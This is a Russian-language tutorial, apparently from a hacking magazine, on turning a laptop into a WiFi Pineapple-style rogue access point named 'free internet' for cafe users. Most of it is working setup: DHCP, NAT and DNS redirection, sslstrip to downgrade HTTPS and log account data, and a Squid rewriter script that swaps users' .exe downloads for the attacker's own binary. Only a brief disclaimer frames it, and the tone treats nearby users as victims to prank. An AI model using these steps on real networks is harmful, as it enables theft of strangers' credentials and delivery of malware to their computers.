Такие занятия, как вардрайвинг или блюджекинг, сочетающие в себе технологии и желание вырваться из плена четырех стен, уже давно исчерпали себя и угасли в забвении. Нужно что-то новое, самобытное. Когда я размышлял над этим вопросом, мой взгляд случайно упал на пакет ананасового сока, оставленного на столе еще утром. Бинго! Ведь хакинг, активный отдых и ананасы идеально совместимы! Не веришь? А я докажу!

WARNING!

Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Взращиваем свой ананас

Нет, автор еще не окончательно сошел с ума и не будет советовать тебе бежать сломя голову в ближайший продуктовый магазин ради покупки тропического травянистого растения семейства бромелиевых. Я поведаю тебе об одноименном устройстве — Pineapple, созданном нашим западным коллегой Дарреном Китченом (Darren Kitchen) из небезызвестного YouTube-шоу о компьютерной безопасности Hak5. Предназначен Pineapple для развертывания собственной Wi-Fi-точки, к которой присоединяются случайные клиенты с целью посерфить бесплатные интернеты. Одновременно держатель Pineapple с особым шармом снифает и записывает весь интересующий его трафик, протекающий через ананас.

Оригинальное название устройство получило благодаря первоначальному замыслу прятать голую плату, антенну и аккумулятор в кейс пластмассового ананаса. Впоследствии же, из-за непрактично широких габаритов плода, корпус был заменен на прямоугольный и сохранил от той концепции лишь наклейку с ананасом, держащим в руках меч и щит.

Тот самый корпус в виде ананаса
Тот самый корпус в виде ананаса

Аппаратно современная модель Pineapple представляет собой точку доступа Alfa AP51 (ранее использовались Fon 2100) с двумя Ethernet-портами, поддержкой 802.11 b/g/n и USB; последний порт применяется обычно для присоединения 3G-модема, чтобы быть мостом между интернетом и клиентами. Актуальная модель Mark IV имеет процессор в 400 МГц и 32 Мб RAM на борту. Программно же в Pineapple обитает Linux, на котором работают привычные для роутера сетевые сервисы.

Последняя модель Pineapple
Последняя модель Pineapple

Что тут скажешь, идея и девайс любопытные, и, думаю, каждый из нас хотел бы иметь в своем арсенале нечто подобное. Но с другой стороны, зачем ограничивать себя отдельным устройством, в котором даже нет дисплея? У нас с тобой всегда при себе ноутбук, заполненный до краев любимым софтом. Так воспользуемся этой задумкой и поднимем на лаптопе свою, более функционально гибкую реализацию ананаса, используя «традиционные» для Linux сетевые службы.

Голова и мысли для нее

Корнем данной затеи должно стать сформированное представление о будущей сетевой инфраструктуре. Первым шагом мы должны добыть интернет. Конечно, можно обойтись и простым фишингом, подняв на ноуте веб-сервер и организовав там пару-тройку копий сайтов, обычно интересующих пользователей, в надежде на то, что жертва все же посетит именно их. Но проще быть связующим звеном между клиентами и сетью в мир. Такой сетью может стать либо другая Wi-Fi-точка, например от того же кафе, либо 3G-модем. По большому счету нужен любой сетевой интерфейс с выходом в интернет.

Я буду применять встроенную Wi-Fi-карту ноутбука для взаимодействия с точкой от кафе, это интерфейс wlan0. А с помощью внешней карты я использую Alfa AWUS036H, с повышенной мощностью в 1000 мВт на чипсете Realtek RTL8187L, мы начнем принимать клиентов через интерфейс wlan1.

Итак, подключаемся к внешней сети, чтобы определить используемый в кафе шлюз (маршрут по умолчанию) с помощью просмотра таблицы маршрутизации:

$ ip r | grep default

default via 192.168.1.1 dev wlan0  proto static

В данном случае им оказался 192.168.1.1. Следующим шагом нам необходимо заняться созданием собственной подсети. Пусть ей станет 192.168.2.0/24, для которой шлюзом будем уже мы, выбрав IP-адрес 192.168.2.1 для интерфейса wlan1.

Необходимый сетевой обмен трафиком потребует от нас решить три задачи:

  1. Организовать раздачу IP-адресов клиентам (DHCP).
  2. Настроить NAT между двумя сетями.
  3. Создать открытую точку доступа.

Сделаем таблицу соответствий адресов, чтобы не запутаться в будущем.

Таблица адресов
Таблица адресов

Основа основ

Базой нашего замысла послужит взаимодействие клиентов между сетевыми интерфейсами. Возможно, я излишне параноидален, но в первую очередь, чтобы не демонстрировать наш реальный MAC-адрес внешней карты, изменим его на фейковый:

# ifconfig wlan1 hw ether 00:01:02:03:04:05

Подготовим сетевой интерфейс и создадим новую подсеть, в которой будут обитать наши Wi-Fi-пользователи:

# ifconfig wlan1 192.168.2.1 netmask 255.255.255.0 up

Теперь добавим маршрут, говорящий о том, что шлюзом для новой сети 192.168.2.0/24 являемся мы (IP внешней карты):

# ip r add 192.168.2.0 via 192.168.2.1

Приглашены все!

Теперь необходимо пригласить в нашу сеть клиентов. Они не знают ее топологии, а значит, и выбрать корректно для себя IP-адрес не смогут, так что обеспечим выдачу (аренду) IP-адресов с помощью DHCP-сервера. Самая популярная реализация DHCP-сервера на данный момент — dhcp3.

Устанавливаем пакет dhcp3-server или, в зависимости от дистрибутива, isc-dhcp-server:

# apt-get install isc-dhcp-server

Создадим для него конфигурационный файл /etc/dhcp/dhcpd.conf:

 

# Не используем динамический DNS (DDNS)
ddns-update-style none;
# Игнорируем все запросы клиентов на обновление DDNS
ignore client-updates;
# Этот сервер является ответственным для нашей сети
authoritative;
# Время аренды IP-адреса
default-lease-time 600;
max-lease-time 7200;
log-facility local7;
# Конфигурируем информацию о подсети
subnet 192.168.2.0 netmask 255.255.255.0 {
# Пул IP-адресов, из которого будет выбираться IP-адрес для клиентов
range 192.168.2.3 192.168.2.254;
# Шлюз сети, маска и широковещательный адрес
option routers 192.168.2.1;
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.2.255;
# DNS-серверы. Укажем DNS интернет-шлюза и, в качестве глобального, DNS от Google
option domain-name-servers 192.168.1.1, 8.8.8.8; }

Чтобы dhcpd3 запустился, необходимо создать PID-файл с соответствующими правами доступа:

# touch /var/run/dhcpd.pid
# chown dhcpd:dhcpd /var/run/dhcpd.pid /etc/dhcp/dhcpd.conf

Все готово к старту!

# /usr/sbin/dhcpd -cf /etc/dhcp/dhcpd.conf wlan1

Хамелеон — всему голова

Для того чтобы пакеты ходили от клиентов через нашу сеть «прозрачно», мы будем применять маскарадинг. Ведь шлюз кафе считает, что к нему подключен всего один клиент, и не имеет представления о том, что за ним существует еще какая-то подсеть. С помощью NAT мы можем маскировать пакеты подключившихся по Wi-Fi пользователей на лету, изменяя их IP на тот, что используется интерфейсом wlan0 во внутренней локальной сети кафе.

Схема сети
Схема сети

Начнем с включения маршрутизации в ядре, чтобы Linux не отбрасывал пакеты с неизвестных адресов:

# sysctl -w net.ipv4.ip_forward=1

Сбрасываем правила iptables и очищаем таблицу NAT, которая предназначена для преобразования IP-адресов:

# iptables --flush
# iptables --table nat --flush
# iptables --delete-chain
# iptables --table nat --delete-chain

Следующий шаг состоит во включении маскарадинга. Цепочка POSTROUTING позволяет изменить пакеты на выходе. Разрешим маскировку исходящего трафика от wlan0, чтобы в конечном итоге он попал в подсеть кафе с IP интерфейса wlan0:

# iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE

Чтобы дальше смаршрутизировать идущий к клиентам трафик на интерфейс wlan1, разрешим его пересылку, то есть форвардинг в нашу локалку:

# iptables -A FORWARD -i wlan1 -j ACCEPT

Теперь когда пользователь нашей подсети захочет посетить какой-нибудь сайт, то отправит запрос на интерфейс wlan1. Ядро замаскарадит IP-адрес клиента на адрес интерфейса wlan0, чтобы отправить данные в подсеть кафе от своего имени. После получения информации от сайта ответ придет на интерфейс wlan0, и затем, уже не меняя адрес (там IP-адрес сайта), пакеты отфорвардятся клиенту в wlan1.

Схема преобразования IP-адреса
Схема преобразования IP-адреса

Как и для любой порядочной сети, нам потребовался бы свой DNS-сервер, который мог бы обслуживать подключенных к точке клиентов. Но поскольку они ничего не знают ни о ее топологии, ни о шлюзе 192.168.1.1, который мог бы отвечать на их DNS-запросы, то почему просто не завернуть весь DNS-трафик от нас (192.168.2.1) на роутер кафе (192.168.1.1):

# iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 192.168.1.1

Открой дверцу ловушки

Свое «общение» с пользователями мы обеспечим посредством протокола физического уровня IEEE 802.11, то есть Wi-Fi. Для взаимодействия с ним воспользуемся стандартной реализацией для UNIX-совместимых систем, а также Pineapple, демоном hostapd. Доступен он из репозиториев всех популярных дистрибутивов:

# apt-get install hostapd

Создаем конфигурационный файл /tmp/hostapd.conf:

# Сетевой интерфейс, который будет использован точкой доступа
interface=wlan1
# Супероригинальное название точки
ssid=free internet
channel=6
# Драйвер, hostapd должен быть собран с опцией CONFIG_DRIVER_NL80211=y
driver=nl80211
# Нам надо, чтобы все видели нашу точку
ignore_broadcast_ssid=0
# Будем поддерживать как wpa1, так и wpa2
auth_algs=3

# Журналируем только информационные сообщения
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
# Использование управляющего интерфейса только группой root
ctrl_interface_group=0
# Не используем MAC-списки доступа для подключения к нашей точке
macaddr_acl=0

Стоит отметить, что в том же Pineapple используется набор патчей к hostapd под названием Karma. Патчи позволяют во время работы сервера наблюдать и выводить в stdout информацию об обмене пакетами клиентов с соседними точками. При желании эти данные можно собирать и парсить, получая одновременно и представление об окружающем беспроводном мире. Изначально над концепцией работал Дино Даи Зови (Dino Dai Zovi) для проекта Madwifi, затем идею подхватил Робин Вуд (Robin Wood) из DigiNinja.org, который решил перенести данную идею в hostapd. Плюс Кармы заключается в том, что все данные получаются в пассивном режиме, то есть без нашего вмешательства в сторонний пакетообмен.

И вот настал желанный час, запускаем последний компонент нашей системы:

# /usr/sbin/hostapd -dd -P /tmp/hostapd.pid /tmp/hostapd.conf
Скрипт, выполняющий все описанные действия
Скрипт, выполняющий все описанные действия

И здесь понюхаем, и там

Наша задумка не стоила бы и выеденного яйца, если бы мы не реализовали пронюхивание ананасовой сети. Для решения задачи вполне мог бы подойти любой сниффер, например wireshark, но его в текущих реалиях уже недостаточно. Ведь большинство самых популярных сайтов давно прячутся за широкой спиной SSL, который шифрует самое вкусное — данные аккаунтов. Но это не проблема, так как на горизонте, в развевающемся плаще супермена, на помощь спешит sslstrip.

Sslstrip была придумана Мокси Марлинспайком (Moxie Marlinspike) — человеком, который не в первый раз изобрел нетривиальный путь обхода SSL-сертификатов. В основе программы лежит простая идея о том, чтобы, находясь в MITM, перенести HTTPS-соединение с пользователя на себя, обмениваясь с жертвой лишь открытым HTTP, а себе оставляя интересующие данные. То есть мы становимся посредниками между пользователем и защищенным сервером, заменяя на лету все ссылки страниц с https на http. Утилита умеет подменять даже favicon — маленькую иконку — логотип сайта на замочек, похожий на тот, который появляется в браузере при пользовании SSL.

Sslstrip показывает что-то полезное
Sslstrip показывает что-то полезное

Итак, идем за последней версией sslstrip. У нее существует всего одна зависимость — необходима библиотека python-twsted-web, инсталлим пакет:

# apt-get install python-twisted-web

Распаковываем архив и устанавливаем sslstrip, используя функционал python-distutils:

# python setup.py install

Для работы sslstrip необходимо указать порт, который она будет слушать для получения и обработки трафика. Остается лишь перенаправить HTTP-пакеты, идущие на порт 80, 81, 8000 и 8080 на произвольный другой, например 8888. Так что добавим еще одно правило к нашей таблице NAT:

# iptables -t nat -A PREROUTING -s 192.168.2.0/24 -p tcp -m multiport --dport 80,81,8000,8080 -j REDIRECT --to-port 8888

Теперь запускаем sslstrip, которая начнет прослушивать порт 8888 (ключ ‘-l’) и логировать «полезный» HTTPS-трафик в файл sslstrip.log (ключ ‘-w’):

$ /usr/local/bin/sslstrip -l 8888 -w sslstrip.log
Комплект в бою
Комплект в бою
Утилита etherape поможет узнать, чем занимается жертва
Утилита etherape поможет узнать, чем занимается жертва

Этот аппетитный кальмар

Мы достигли изначальной цели. Но этой затеей дело может не ограничиться! Если тебе хочется понаблюдать за удивленными лицами наивно-невинных пользователей, сидящих рядом, то на ум приходит масса иных шалостей, список которых ты в состоянии легко расширить самостоятельно. Например, можно создать URL rewriter для Squid, который подменял бы все ссылки с *.exe на собственный бинарник. А можно просто подставлять вместо всех картинок в HTTP-трафике изображение милой кошечки, ведь милых кошечек любят все :).

Одержимые новой идеей, устанавливаем Squid из репозитория:

# apt-get install squid3 squid3-common

Чтобы пользователям не нужно было указывать HTTP-прокси вручную, сделаем его прозрачным, другими словами, перенаправим весь проходящий через нас HTTP-трафик на прослушиваемый сквидом порт 8888. Для этого будем пользоваться тем же самым правилом, которое применялось для sslstrip, не забудь его (sslstrip) потушить:

# iptables -t nat -A PREROUTING -s 192.168.2.0/24 -p tcp -m multiport --dport 80,81,8000,8080 -j REDIRECT --to-port 8888

Для достижения желаемого результата в закромах сквида имеется замечательный инструмент — опция url_rewrite_program, позволяющая использовать внешнюю программу с целью анализа запросов и перенаправления на другой источник. Нам остается только воспользоваться данной возможностью, написав свой скрипт. Создадим минималистичный конфиг /etc/squid3/squid.conf:

# Включаем в список доступа кеш-manager
acl manager proto cache_object
# Определяем список доступа с loopback-адресами
acl localhost src 127.0.0.1/32 ::1
# Определяем список доступа для HTTP-метода connect и запрещаем его использование
acl CONNECT method CONNECT
http_access deny CONNECT
# Добавляем обслуживаемую подсеть в список контроля доступа localnet
acl localnet src 192.168.2.0/24
# Разрешаем доступ группе localnet
http_access allow localnet

# Добавляем прозрачности нашему проксику
http_port 8888 transparent

# Самая главная часть, которая будет обрабатывать URL
url_rewrite_program /tmp/rp.py

# Стандартные разрешения и порт
http_access allow manager localhost
http_access deny manager
http_access allow localhost
http_access deny all
http_port 3128

Время для захватывающего момента — пора написать скрипт, который мог бы определять, а главное — исправлять целевые ссылки на свои изображения. Squid во время старта запускает несколько экземпляров программы url_rewrite_program в фоне и отдает ей запрашиваемые пользователем URL через конвейер (pipe). Программа обрабатывает входящий поток ссылок и возвращает в stdout «измененный_url + ‘\n’», если путь нужно изменить. В противном случае отдается просто ’\n’.

Код рерайтера /tmp/rp.py, заменяющего все изображения на страницах, приведен ниже:

# Заменяемое изображение
IMAGE='http://example.com/files/boobs.gif'
# Или заменяемый exe
EXE='http://example.com/files/file.exe'

# Заменяем картинки на image
def replace_images(query, image):
  # Получаем URL
  if query.find(' '): url = query.split(' ')[0]
  else: return '\n'
  # Находим все ссылки с изображениями
  if re.findall('.*(\.jpg|\.jpeg|\.bmp|\.gif|\.png)$', url):
    return '%s\n' % image # Возвращаем подмененную картинку
  return '\n'

if __name__ == '__main__':
  while 1:
    # Чтение stdin
    query = sys.stdin.readline().strip()
    # Функция, производящая замену
    #url = replace_exe(query, EXE)
    url = replace_images(query, IMAGE)
    sys.stdout.write(url)
    # Исключение, срабатывающее при закрытии pipe, которое означает, что Squid завершил работу
    try:
      sys.stdout.flush()
    except IOError:
      sys.exit(0)

Такой же трюк можно проделать с подменой всех exe-файлов на свой, дописав функцию replace_exe():

...
def replace_exe(query, exe):
  # Получаем URL
  if query.find(' '): url = query.split(' ')[0]  
  else: return '\n'
  # Находим все ссылки, заканчивающиеся на *.exe
  if re.findall('.*\.exe$', url):
    return '%s\n' % exe # Возвращаем наш exe
  return '\n'
...

и раскомментировав строку в main:

...
# Функция, производящая замену
url = replace_exe(query, EXE)
#url = replace_images(query, IMAGE)
...

Главный плюс такого подхода заключается в том, что ты никак не изменяешь содержание HTTP-страницы, которую видит жертва. По факту пользователю просто приходят иные файлы по тем же URL-адресам.

Нам остается только перезапустить сервис, для того чтобы грозный кальмар взялся за свою мокрую работу:

# service squid3 restart
Вот так у пользователей выглядит сайт Microsoft
Вот так у пользователей выглядит сайт Microsoft
К нам подключился владелец iPhone 5
К нам подключился владелец iPhone 5

Торжество находчивости

Как видишь, порой не обязательно покупать готовое устройство. Можно попытаться самостоятельно его реализовать и, главное, расширить его функционал, используя, казалось бы, невинный опыт администрирования и традиционные инструменты. Все зависит от твоих целей и умения смотреть на вещи под другим углом, ведь даже ананас в твоих руках может стать грозным оружием! 🙂

INFO

Мониторить в реальном времени список отданных клиентам адресов можно, просматривая файл /var/lib/dhcp/dhcpd.leases.

By Ruslan Novikov

Интернет-предприниматель. Фулстек разработчик. Маркетолог. Наставник.